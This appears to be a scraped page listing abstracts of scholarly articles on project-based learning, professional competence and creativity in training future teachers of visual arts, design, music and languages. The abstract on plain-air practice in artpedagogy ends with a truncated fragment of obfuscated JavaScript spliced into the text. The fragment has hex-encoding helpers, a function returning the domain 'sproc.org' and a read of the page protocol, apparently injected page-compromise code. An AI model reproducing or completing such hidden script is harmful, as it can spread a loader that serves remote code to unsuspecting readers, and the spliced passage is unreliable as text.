scholarly journals CREATIVE PROJECT ACTIVITY IN PROFESSIONAL TRAINING OF FUTURE VISUAL ARTS TEACHERS

2018 ◽  
pp. 74-79
Author(s):  
S. Davydova
Keyword(s):  
Visual Arts ◽  
Professional Training ◽  
Teaching Practice ◽  
Project Based Learning ◽  
Creative Industries ◽  
Practice Research ◽  
Professional Activity ◽  
Creative Project ◽  
Project Activity ◽  
Arts Teachers

The article reveals new requirements for training the visual arts teachers, determined by a rapid evolution of society and restructuring of national education, where an emphasis is put on the project-based learning. Such circumstances demand the change of forms and methods of education, updating and modernization of existing methodical funds. Modern scientists have turned to the project method, which is not new in teaching practice, however, has proven its suitability and importance for a teaching process in the 21st century, which is indicated in the concept “New Ukrainian School” that offers to implement integrated and project-based learning. Such conditions necessitated changes in training the visual arts teachers with one of the tasks being the formation of cultural competence, which creative project activity will ensure. The author analyzes a notion of “creative project activity”, the genesis of its appearance and use in the practice of training the specialists in creative industries. The author substantiates the suitability and relevance of its use in training the visual arts teachers based on the research of training of specialists in creative industries (design, technology, music teachers), partly visual arts teachers. The author describes in detail which students’ qualities are developed while carrying out the creative project activity, i.e. the ability of creative, unconventional and imaginative thinking when dealing with problem and multiple-choice situations in education, professional activity or everyday life. Consequently, creative project activity becomes an integral part of a modern training of specialists in creative industries and is just partially explored in practice, research literature in the context of training the visual arts teachers. Taking into account the new requirements for training the visual arts teachers, the creative project activity becomes a relevant and urgent necessity in training the visual arts teachers, but is not explored enough and needs further research.

scholarly journals THE SIGNIFICANCE OF PROJECT METHOD FOR THE PROFESSIONAL DEVELOPMENT OF ARTISTS : HISTORICAL PERSPECTIVE AND PRESENT CONTEXT

2020 ◽  
pp. 69-79
Author(s):  
Svitlana Davydova
Keyword(s):  
Professional Training ◽  
Fine Arts ◽  
Educational Institutions ◽  
Professional Activity ◽  
Successful Implementation ◽  
Higher Educational Institutions ◽  
Creative Project ◽  
Project Method ◽  
Project Activity ◽  
Higher Educational

The article highlights the current trends in the development and reformation of the higher education system, associated with changes in the competence approach in the training of future fine arts specialists. The issues of origin and formation of the project method in the pedagogical practice of higher educational institutions are revealed; the periodization of the development and dissemination of the project method globally and in domestic practice is specified. Scientific research comprehensively and thoroughly reveals the concept of creative project activity, its application in the training of fine arts specialists in higher educational institutions. The author analyzes a series of examples of the application of project activities in the training of specialists in various fields. The updating of the project method in the modern training of specialists in higher educational institutions is noted. It makes us look at project activity from a different angle regarding it as a means of forming the professional competence of future fine arts specialists. It is emphasized that these days project training is relevant and promising as it creates conditions for discovering the creative potential of students, increasing their motivation, promotes the acquisition of necessary skills and knowledge, development of their intellectual abilities and professional competences of a competitive specialist of the XXI century. Project activity will ensure the acquisition of universally applicable and professional competencies, socially significant knowledge, skills and abilities that meet the modern demand for education and the paradigm of student-centered learning, because such knowledge and skills enable young professionals to learn throughout life and succeed in professional activity. Basing on the results of the analysis of the achievements of international and Ukrainina scientists in the field of training specialists of creative specialties, it is noted that the application of project activity, including creative project activity, in professional training of future fine arts specialists can significantly improve the quality of their future professional activity, providing the necessary knowledge, skills and experience relevant for successful implementation in the modern world.

scholarly journals INVOLVING OF TRAINEES-FUTURE TEACHERS OF PROFESSIONAL TRAINING IN PROJECT ACTIVITIES IN THE DISCIPLINE

2018 ◽  
Vol 6 (2) ◽  
pp. 6 ◽  
Author(s):  
M. P. Prokhorova ◽  
A. A. Semchenko
Keyword(s):  
Experimental Work ◽  
Vocational Training ◽  
Professional Training ◽  
Strong Relationship ◽  
Project Work ◽  
Professional Activity ◽  
Practical Implementation ◽  
Future Teachers ◽  
The Third ◽  
Project Activity

Introduction:The project activity in professional training of future teachers of vocational training ensures its ability to effectively solve pedagogical tasks, participate in teamwork, develop educational systems. The requirements of the future specialist's readiness for the project activity are reflected in the GEF and in the professional standard. This determines the relevance of involving future teachers of vocational training in project activities when mastering disciplines.Materials and methods:Experimental work on involving students in the project activities was carried out in three stages. At first, they had experience of participating in different types of project activities, the second involved work on engaging in project activities, and on the third, the effectiveness of involvement in project activities was assessed. At all stages of the study, methods of observation and generalization of pedagogical experience and questioning were used.Results:The first stage revealed the experience of participation in the project activity (the students took part in the development of the content and the project), the sources of difficulties for the students in the project activity (related to the search for ideas, practical implementation of the project and evaluation of its results) obtaining meaningful results and developing teamwork skills). At the second stage, methodical support of the project activity was developed within the framework of the discipline; experimental work in this direction was carried out. At the third stage, the trainees called the skills they perceived as new (to conduct assessment and self-evaluation of the results of the project work, to apply in ICT projects and on-line resources, etc.), indicated the existence of a strong relationship between the gained experience of the project activity and future professional activity, showed a decrease in the share of difficulties in the project work.Discussion and Conclusions:conclusions were drawn about the significant pedagogical potential for involving learners in the project activity in the discipline, provided that the quality of the methodical study of its content and the provision of project assignments at each stage with future professional activity are provided.

scholarly journals Formation of the Future Teacher’s Professional Competence: European Experience

2018 ◽  
pp. 197-213
Author(s):  
Iryna Prokopenko
Keyword(s):  
Professional Training ◽  
Teaching Practice ◽  
Professional Competence ◽  
Educational Process ◽  
Academic Disciplines ◽  
Educational Institutions ◽  
Professional Activity ◽  
Future Teachers ◽  
Research Activities ◽  
The Future

The article clarifies the essence of the concepts of «сompetence» and «professional competence», determines the components of teacher’s professional competence: motivational (interest and motivation for future professional activity), cognitive (formed knowledge), operational (acquired skills and abilities) and personal-reflexive (ability to self-esteem, self-development and self- improvement). The author, on the basis of comparative analysis, shows the experience of forming the future teacher’s professional competence in leading countries such as: Germany, Denmark, Great Britain, France and others. The article outlines the peculiarities of the formation of the future teacher’s professional competence in determined countries. The interesting aspect in the formation of the future teacher’s professional competence in Germany is its information component, whose high level of evaluation is facilitated by the introduction of modern multimedia technologies in the educational process. The peculiarity of the Danish system of the future teachers’ professional competence formation is the availability of an additional vocational guidance level. So while forming the professional competence of a future teacher in the UK, considerable attention is paid to student’s research activities built on the humanization and democratization of the educational process in this country. The specificity of the future teachers’ professional competence formation in universities of France is that its most important component is the information and communication component. On the basis of the conducted analysis, the positive experience of the future teachers’ professional competence formation abroad is generalized; the recommendations on its introduction into the system of professional training in higher education institutions of Ukraine are worked out. The conclusion is made that the formation of the future teacher’s professional competence abroad will contribute to: the introduction of professional selection of applicants for teaching professions; exploiting the potential of non-formal education; an increase in the duration of teaching practice and the introduction of a mentoring system; inclusion of academic disciplines, that provide inclusive education, into the educational process; providing benefits to active teaching methods based on an interdisciplinary and problem-based approach; creating conditions for the exchange of experience of higher educational institutions with foreign educational institutions.

scholarly journals CREATIVE PORTRAIT OF VOLODYMYR DOTSENKO AS EXPRESSION OF THE CONCEPT OF UNIVERSALISM

2021 ◽  
Vol 22 (22) ◽  
pp. 150-165
Author(s):  
Trianov Maksym
Keyword(s):  
Teaching Practice ◽  
Deep Understanding ◽  
Educational Activity ◽  
Professional School ◽  
Practice Research ◽  
Professional Activity ◽  
Classical Guitar ◽  
Performance Style ◽  
Concert Programs ◽  
Artistic Image

The contemporary national Ukrainian art of guitar performance is actively growing. In the latest decades it is experiencing a veritable takeoff. One of the primary objectives of modern musicology is to extensively study the phenomenon of Ukrainian guitar art, specifically its regional variations. The establishment of regional schools of guitar and study of prominent artists deserve detailed research. The article examines the multifaceted creative individuality of Volodymyr Dotsenko, the founder of professional school of classical guitar in Kharkiv. His artistic image is firstly pondered in the light of universalism. Such major areas of the artist’s interest are explored as conducting, teaching practice, research and socio-educational activity, which all lie in close conjunction with each other and contribute to the universalistic image of a modern musician. A specific focus is made on the early development of artistic universalism in Dotsenko, which begins in the early days of his professional activity. The article shows how the quality of education and upbringing contributes to shaping a multifaceted creative individuality. The analysis of Dotsenko’s performance style displays such universalistic features as a deep understanding of the interpretative idea core, stylistic and technical immaculacy in performance of guitar pieces from diverse styles, exquisite taste in selection of conceptual concert programs. Afresh approach to the teaching of guitar performance and years of experience in training firstclass performer laid groundwork to a corpus of academic methodical literature, which fully conveys the principles of comprehensive universalist development of a musician. Dotsenko’s teaching and scholarly activities are characterized by deep understanding of the technical aspects of classical guitar performance, a highly academic approach, extensive knowledge, precise turn of phrase, and colorful imagery. Meanwhile, Dotsenko’s organization skills brought about the creation of a unique ensemble: the Kharkiv guitar orchestra, as well as a number of academic and practical conferences and classical guitar contests. All of these events heavily contributed to further development of Ukrainian guitar art. Dotsenko is an example of Ukrainian creative elite, a unique musician, professor, academic, and social activist. The universalist traits characteristic of his artistic individuality, can be observed in every field of his creative output and are the main qualitative feature of his personality.

scholarly journals Prospective Teachers’ Views on Practitioner Teacher’s Attitude in Processes of Observation Made on Teaching Practice

2020 ◽  
Vol 13 (8) ◽  
pp. 29
Author(s):  
Gonca Erim ◽  
Alper Çetin
Keyword(s):  
Visual Arts ◽  
Prospective Teachers ◽  
Arts Education ◽  
Teaching Practice ◽  
Fine Arts ◽  
Theory And Practice ◽  
Visual Arts Education ◽  
Arts Teachers ◽  
Important Position ◽  
The Individual

Setting as the targeting the education of individuals in terms of intellectual, perceptual and emotional aspects as a whole places the visual arts education, which is one of the fields of education, at an important position. That is due to the fact that the individual who has aesthetical perception development through fine arts education learns how to perceive new forms and to view his/her environment and artistic structures from a different perspective. Thus, the individual makes progress in his/her intellectual endeavors, and also enhances his/her creativity and builds social habits in this connection. This importance attached to visual arts education demonstrates the necessity of raising qualified visual arts teachers. The fact that teaching is a profession which is perfected through the establishment of the link between theory and practice makes worth analyzing the process of teaching practice and attitudes and guiding behaviors of practitioner teacher who is placed at the closest position to the prospective teacher in this process. In this research, the focus was placed on attitudes which practitioner teachers were supposed to demonstrate in observation processes which played a crucial role in occupational development of prospective teachers during teaching practice. These attitudes were addressed in the framework of guiding behaviors which were supposed to be beneficial to prospective teachers in observation processes.

scholarly journals Project activities in professional training of bachelors of the pedagogical University (on the example of the profile «Foreign language»)

2018 ◽  
Vol 7 (3) ◽  
pp. 333-339
Author(s):  
Lyudmila Andreevna Lazutova ◽  
Elena Alexandrovna Levina
Keyword(s):  
Foreign Language ◽  
Professional Training ◽  
Foreign Languages ◽  
System Activity ◽  
Creative Project ◽  
Joint Activities ◽  
Project Activity ◽  
Language Class ◽  
Comprehensive Development ◽  
The University

The article shows the project activity as one of the most important method in the system of professional training of bachelors in the process of teaching a foreign language. Project activities have both a number of requirements and a certain sequence of actions. The authors of the paper consider the role of system-activity and communicative methods to project activity development. The system-activity method is based on the principles that are necessary for the organization of the pro-long process of learning the activity paradigm of higher education. The communicative method of teaching is fundamental in the modern methodics of teaching foreign languages. The article presents the classification of projects, describes the basic requirements for the implementation of projects. The main type of projects used in teaching a foreign language at the University is a creative project, as they do not require a detailed structure of joint activities of students. The implementation of a creative project in a foreign language class involves a modular approach. Each module is aimed at the development of skills in various types of speech activity and contributes to the formation of communicative competence and comprehensive development of the students ' personality. The results of the study can serve as a basis for further study of project activities in the process of teaching foreign languages.

scholarly journals Students' research activities as an element of the life safety basics school course

2020 ◽  
Vol 210 ◽  
pp. 22022
Author(s):  
Tatiana Gordienko ◽  
Yelena Svyatokho ◽  
Larisa Ilchencko
Keyword(s):  
Research Methods ◽  
Professional Training ◽  
Teaching Practice ◽  
Process Research ◽  
Life Safety ◽  
Professional Activity ◽  
Future Teachers ◽  
School Students ◽  
Research Skills ◽  
Research Activities

Some features of the Life Safety Basics school course, which can be used for the effective implementation of school students' research activities analyzed. To assess the teachers' attitude to the students' research activities, a questionnaire was developed. The study revealed that the main learning effects of students' research activities for the students include development: skills to work with scholarly publications and information, manage self-education process; research skills; critical and analytical thinking. A teacher as a students' research activities supervisor increases the level of students' professionalism, meets the educational standard requirements, gets the opportunity to realize the potential of each student and increase the level of their subject knowledge. Herewith, methodological problems of designing and managing students' research activities in the teaching practice are identified: students' research activities are not integrated into the everyday learning process; research methods in the classroom, as those that formed primary research skills, are used in fragments. The authors conclude that there is a contradiction between the formal teacher's understanding of students' research activities effectiveness for the meta-subject, personal and social competencies development and the non-system use. Attention is drawn to the lack of future teachers training issue development to implement research methods in teaching as a necessary professional activity element. Thus, there is a need to improve future teachers' professional training, which would include formation of the preparedness for the design and management of students' research activities in the classroom and in extracurricular activities for the Life Safety Basics school course.

scholarly journals DEVELOPMENT OF ENTREPRENEURIAL COMPETENCE IN DESIGN EDUCATION

2021 ◽  
Vol 2 (37) ◽  
pp. 493-502
Author(s):  
L. Bazyl ◽  
V. Orlov ◽  
O. Fursa ◽  
L. Оruzha
Keyword(s):  
Market Economy ◽  
Design Education ◽  
Professional Training ◽  
Business Models ◽  
Creative Industries ◽  
Entrepreneurial Activity ◽  
Practical Significance ◽  
Professional Activity ◽  
Current State ◽  
Wide Range

Abstract. The aim of the article is to analize the current state of design education in Ukraine, update the training curicula of future designers to start their own business and successful entrepreneurship activities in the field of design as a prerequisite for self-realization of professionals in a market economy, identify components of entrepreneurial competence and substantiate recommendations to develop it during the training of future designers. The theoretical significance of the article is that it is analyzed the current state of design education from the standpoint of preparing students for self-realization in a market economy and successful professional activity in a society of sustainable development, which is possible by starting their own successful business; the essence of the main directions and modern approaches to the development of entrepreneurial competence of future designers are revealed; the preconditions for effective training of future designers for entrepreneurship are determined; empirical data obtained as a result of implementation of the authots’ consept are analyzed; the main directions of design that will be successful for business activities are revealed; the updated content and effective ways of development of entrepreneurial competence in design education are presented. The practical significance of the article is to present the program of the authors’ modular course, the introduction of which will promote the development of entrepreneurial competence of future designers, as well as practical cases of business plans and business projects are presented. It ts characterized the features of entrepreneurial activity in the field of design as a process of development of innovative ideas and projects of young people — authors of extraordinary methods and technologies, inventors of new ways of society development. According to the qualification characteristics of the profession, the main professional functions of a designer are defined, different types of entrepreneurs in the field of design are systematized. Creative and innovative ideas are transformed by entrepreneurs in the field of design into sustainable business models, various innovative approaches are introduced. Today it is possible to identify a wide range of entrepreneurs in the cultural sector, who operate in the field of culture and art, engaged in various fields of creative industries. Problems and prospects of training of future designers for entrepreneurial activity are revealed, directions of further searches are outlined. The methodological basis for training of future designers are presented as an amalgam of socio-cultural, utilitarian-consumer and aesthetic-entrepreneurial functions of design. It is substantiated that entrepreneurs in the field of design must have a broad mindset, high intellectual potential and level of culture, ability to self-improvement solutions which have to be implemented in design education. Keywords: design, entrepreneurship, entrepreneur, professional training, content of professional training. JEL Classification I21, L33 Formulas: 0; fig.: 0; tabl.: 0; bibl.: 18.

Design artpedagogy in the system of modern education of pedagogy students during plain-air practice

2016 ◽  
Author(s):  
Zhanar Nebessayeva ◽  
Zoya Rabilova ◽  
Kusan Musakulov
Keyword(s):  
Visual Arts ◽  
Professional Growth ◽  
Professional Activity ◽  
Creative Activity ◽  
Modern Education ◽  
Pedagogical Techniques ◽  
Arts Teachers

The article reviews systematization and elaboration of artpedagogical nature of the “professional and creative activity of future visual arts teachers” concept together with its “performance”, “creativity” and “activity” categories, and the opportunities that plain-air practice provides to a teacher’s professional growth. The author has identified and substantiated the additional reserves of students’ creative activity intensification during plain-air practice; the author has also reviewed pedagogical conditions facilitating the intensification of professional and creative activity of students during plain-air practice.The article reviews a breakthrough approach to plain-air practice process aimed at the intensification of creative activity of students. The author has developed theoretical principles for the intensification of professional and creative activity of students during plain-air practice, including specific components, criteria and metrics.  In general, the use of modern pedagogical techniques in artpedagogical education ensures proactive attitude of future specialists preparing for the upcoming professional activity. It improves the students’ understanding of the importance of their future profession, their motivation for achievement of better results in their professional and creative activity.Keywords: Artpedagogy, proactiveness, creativity, activity, plain-air practice, integration, imaginative cognition specificity.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "sproc.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

PSYCHOLOGICAL DYNAMICS OF FIGURATIVE CREATIVITY OF THE FUTURE TEACHER OF THE HUMANITIES

2020 ◽  
pp. 94-106
Author(s):  
Микола Саврасов ◽  
Костянтин Кисельов
Keyword(s):  
Professional Training ◽  
Evaluation Method ◽  
Educational Institution ◽  
Survey Method ◽  
Professional Activity ◽  
Self Presentation ◽  
Professional Activities ◽  
Language And Literature ◽  
The Future ◽  
Expert Evaluation Method

Aim. The purpose of the study is to establish theoretical prerequisites, identify, describe and interpret the basic psychological patterns of the dynamics of figurative creativity of future teachers of the humanities both during his/ her training in the educational environment of modern pedagogical universities and at certain stages of the didactic process. Material and methods. As the methods and tools of empirical research, the author uses the procedure of analysis of the degree of statistical validity of the differences of average values of the selected empirical indicators (t-Student's criterion), the test of figurative creativity by E.P. Torrens (modified by O.E.Tunik), a survey method, an interview method, and an expert evaluation method. The respondents were first, third, and fifth-year students specialized in «Ukrainian language and literature», «English (German) language and literature», «Ukrainian country studying» with a total of 156 people aged 18 to 30 years. The empirical basis of the study was the Faculty of Philology of the State Higher Educational Institution «Donbas State Pedagogical University». Results. It is obvious that throughout the process of growing up and gaining experience in educational and professional activities, the main specific characteristics of the creative figurative act for the representatives of the natural profile of professional training are the speed of emergence and development of creative ideas, the degree of deviation from existing prototypes, the desire to avoid a possible return to them or their modification and efforts to complete and properly design their creative product. At the same time, at the background of the previously mentioned characteristics, the dynamics of the indicator of the abstractness of the name of figurative creativity gradually recedes into the background. It means that in the process of micro-age formation of figurative creativity of the humanitarian profile subject of educational and professional activity the subject’s deep essence, not its nominal side, the outer cover, which consists in the peculiarities of verbalization of this creative process, the peculiarities of self-presentation and the presentation of the final creative product are formed. Conclusions. If we summarize the dynamics of figurative creativity of a humanitarian profile student in general, then we can depict: 1) impressive are the positive changes in this area at the end of the study, on the verge of study and professional activity, which in fact can cause such a rapid and bright dynamics; 2) particular interest is in the dynamics of creativity of humanitarian profile students at the level of such nuclear characteristics of figurative creativity as the dynamics of the creative idea, the degree of its difference from stereotypes and resistance to their emergence and motivated ability to finalize the creative product. In the future, we see promising research on the dynamics of figurative creativity of students of natural, cultural, and artistic profile and a comparative study of the dynamics of figurative creativity on the indicator of the profile of professional training in higher pedagogical education.

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